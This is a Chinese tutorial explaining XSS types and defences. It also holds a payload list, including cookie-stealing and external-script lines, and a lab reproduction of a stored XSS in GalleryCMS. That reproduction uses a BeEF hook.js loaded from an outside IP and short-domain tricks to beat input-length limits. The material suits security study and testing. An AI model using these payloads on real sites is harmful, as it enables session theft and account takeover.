一、什么是XSS?

1、xss的原理

跨站脚本攻击XSS。恶意攻击者网web页面中插入恶意的script代码,当用户浏览该页时,嵌入web页面中的script代码会被执行,从而达到恶意攻击用户的目的。XSS针对的是用户层面的攻击。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

简单来说:XSS产生的原因就是你对用户的输入做一个合法的过滤。你没有对用户的输入过滤完善,导致用户将恶意代码输入进你的页面中了。

2、XSS漏洞的危害

二、XSS攻击有哪几种类型?

常见的 XSS 攻击有三种:反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。

1.反射型XSS攻击(目前基本不收,除非找到百度主站)

反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。反射型XSS通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

2.存储型XSS攻击

也叫持久型XSS,主要将XSS代码提交存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

3.DOM-based 型XSS攻击

基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。

咱们的JS把你的页面解析为一个DOM树,每一个标签称之为一个DOM元素。

可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
documen.write


三、如何防御XSS攻击?

  1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。

  2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

  3. 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。

  4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。

  5. 后端接口也应该要做到关键字符过滤的问题。

XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替, 例如

标签: 标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

svg标签

<svg onload="alert(1)">
<svg onload="alert(1)"//

标签:

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie

标签

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

video标签:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签:

<style οnlοad=alert(1)></style>

XSS可以插在哪里?

  • 用户输入作为script标签内容
  • 用户输入作为HTML注释内容
  • 用户输入作为HTML标签的属性名
  • 用户输入作为HTML标签的属性值
  • 用户输入作为HTML标签的名字
  • 直接插入到CSS里
  • 最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入  id="xx" />
<><script>alert('hack')</script><b id="xx" />#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS漏洞的挖掘

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

  • URL的每一个参数
  • URL本身
  • 表单
  • 搜索框

常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性等

白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

四、复现gallerycms字符长度限制短域名绕过

1、安装beef-xss

#安装
apt install beef-xss
#启动
beef-xss
#进入网址
127.0.0.1:3000/ui/panel


登陆成功

2、搭建gallerycms

github上下载gallerycms

地址:https://github.com/bensonarts/GalleryCMS

搭建要求:

  • PHP >= 5.2
  • MySQL Database

这里演示的是远程服务器,把文件上传并解压到某个位置

设置数据库账号密码,在application下的config下的databases.php文件当中修改

网页显示如下,原因是在新版本的PHP中,打开的旧版的CI框架,报错如下,这里我的php版本为7.0

第一个框解决方法如下:

打开System\core\Common.php

修改如下内容

return $_config[0] =& $config;

$_config[0] =& $config;
return $_config[0];

第二个框解决办法如下:

将PHP版本改为5.6即可

进入数据库创建gallerycms数据库

再次访问网站 http://地址/security/gallery/

注册后数据自动存放在数据库

登录

随便输入aaaa,数据库记录值

清空album表之后再次创建,引入beef-xss的钩子 hook.js 来获取管理员的cookie

就是这个钩子

在框中引入钩子,并打开f12,注意观察

<script>$.getScript("//192.168.17.138:3000/hook.js")</script>

超出长度限制,最大限制45个字符

这里我们先改成85个字节,代码改了,数据库也要改

application下的controllers下的ablum.php

重新输入后再去查看beef,OK已上线

这样就成功上线,利用了xss存储型漏洞

这样xss存储型漏洞就可以获取到管理员的后台地址,管理员的cookie,拿到cookie也就意味着可以直接登录,但是目前有一个问题,就是我们现在做的是一个测试,字符串长度没有太多的限制,在真实项目中你肯定不能这样去做

这里我们将源码改回去

再次测试,发现几乎所有的标签都被过滤掉了,但是有一个没有别过滤掉,那就是svg标签

<svg/onload="alert(1)">

但是我以让想去获取管理员的cookie怎么办?但是beef的长度太长了

<svg/onload=$.getScript("//192.168.17.138:3000/hook.js")>

3.复现GalleryCMS短字符绕过

在提交框中输入<script>alert(1)</script>提交后发现被过滤

目前有两个难题:第一个他没有过滤script标签,他对长度非常苛刻,限制在25。第二个他过滤了script标签,他对长度有一定的要求35。

所以你只能去找一个短域名。

'<svg/οnlοad=$.getScript('1')>'.length
29
'<svg/οnlοad=$.getScript('//1111')>'.length
34

要是我们可以直接把hook.js写进index.html呢?

通过短域名的方式直接引进网页实现上线

这样的长度已经是极限了,20个字符

'<svg/οnlοad=alert``>'.length
20

script标签的src可以引入我们想要引入的hook.js文件,

因为html有自动补全的功能,所以我们再去减省要输入字符的长度,15个字符

'<script src="">'.length
15

意味着你还有5个字符可以在引号中写,但是我们网站//必须占用2个字符,所以还剩3个字符可以写。。。双引号可以不写的话

最大字符长度为20

'<script src=//℡㏛.co>'.length
20

最大字符长度为35

'<svg/οnlοad=$_.getScript(//℡㏛.top)>'.length
35

国内域名不支持重定向,使用国外域名可以重定向,这样我们就可以发送到xsshunter网站。

利用短字节缩短域名

  • ff expands to ff
  • ℠ expands to sm
  • ㏛ expands to sr
  • st expands to st
  • ㎭ expands to rad
  • ℡ expands to tel

XSS详解及复现gallerycms字符长度限制短域名绕过相关推荐

  1. XSS跨站脚本攻击详解以及复现gallerycms字符长度限制短域名绕过

    一.什么是XSS 1.XSS原理 跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种.XSS是由于We ...

  2. 复现20字符短域名绕过以及xss相关知识点

    xss xss攻击 xss指黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取.会话劫持.钓鱼欺骗等各攻击. xss攻击 ...

  3. 详解MTK系统中字符转换问题

    详解MTK系统中字符转换问题 2011-09-05 19:02 佚名 互联网 字号:T | T MTK系统中字符转换问题是本文要介绍的内容,主要是来了解并学习MTK中一些小案例的应用,具体内容来看本文 ...

  4. 字符界面运行mysql_详解linux系列之字符界面下MySQL+apache+php的源代码安装

    详解linux系列之字符界面下MySQL+apache+php的源代码安装 在前面介绍了linux和在字符下安装,下面我来介绍一下程序包的安装. 大家也许都知道在linux安装程序的时候后用rpm包安 ...

  5. ResNet、ResNeXt网络详解及复现

    网络详解: ResNet网络详解 ResNeXt网络详解 torch复现: import torch.nn as nn import torch''' 对应着18层和34层的残差结构 既要拥有实现部分 ...

  6. HighwayNet网络详解及复现

    HighwayNet网络详解及复现: https://mp.weixin.qq.com/s?__biz=Mzk0MzIzODM5MA==&mid=2247485190&idx=1&am ...

  7. 【OpenCV 4开发详解】轮廓面积与长度

    本文首发于"小白学视觉"微信公众号,欢迎关注公众号 本文作者为小白,版权归人民邮电出版社发行所有,禁止转载,侵权必究! 经过几个月的努力,小白终于完成了市面上第一本OpenCV 4 ...

  8. EasyPR--开发详解(7)字符分割

    转自https://www.cnblogs.com/subconscious/p/4660952.html 一.前言 今天继续我们EasyPR的开发详解. 这几个月我收到了不少的邮件问:为什么Easy ...

  9. XSS短字符短域名绕过,XSS相关的知识

    XSS短字符域名绕过 先在phpstudy上搭建一个gamerycms的一个平台,文件可以在github上获得:https://github.com/bensonarts/GalleryCMS 搭建完 ...

最新文章

  1. AI+零售:人工智能撬动零售变革
  2. js遍历树节点下的所有子节点_【数据结构与算法】(3)——树和二叉树
  3. 分析和解析PHP代码的7大工具
  4. php内核总结_深入理解PHP内核(一)
  5. case的执行顺序 嵌套使用
  6. sql 查询性能的问题 有order by 和无order by 速度竟然相差百倍
  7. LVS/keepalived配置
  8. python hashlib_python hashlib模块
  9. 读写自旋锁 linux,boost是否像Linux一样提供读写自旋锁机制?
  10. lintcode :reverse integer 颠倒整数
  11. Python和C++交互
  12. Linux调试工具之readelf
  13. 水经注影像离线包简介
  14. HDLBITS 练习 卡诺图化简部分
  15. java package number_Java NumberPath.loe方法代码示例
  16. 企业邮箱管理员在哪里找?域名邮箱如何管理?
  17. iPad Pro 突然开不了机
  18. 怎么用python实现快递信息自动查询和跟踪?
  19. oracle ora00353,ORA-00354 ORA-00353 ORA-00312异常处理
  20. 接口自动化测试用例详解

热门文章

  1. 敏捷开发培训课程所想
  2. Datawhale组队学习-Python编程基础-07
  3. 微信登录APP失败,报错10012
  4. 超高性价比笔记本计算机应用技术,玩游戏的笔记本电脑,推荐三款超高性价比笔记本电脑...
  5. 华为鸿蒙beta3.0,华为鸿蒙Beta 3.0 版本推送更新 预装鸿蒙新平板获入网许可
  6. gtb分类器参数调节_集成学习(Ensemble Learning)
  7. 单片机p0口接8个LED c51语言,51单片机P1口接8个LED灯,低电平点亮,用定时器1定时250ms,让着8个LED不停闪烁,编写完整的C程序。...
  8. Mysql的普通索引复合索引执行优化
  9. 八鲸诚教您抖音小店怎么选品
  10. 用python实现爬美女照片,有口福啦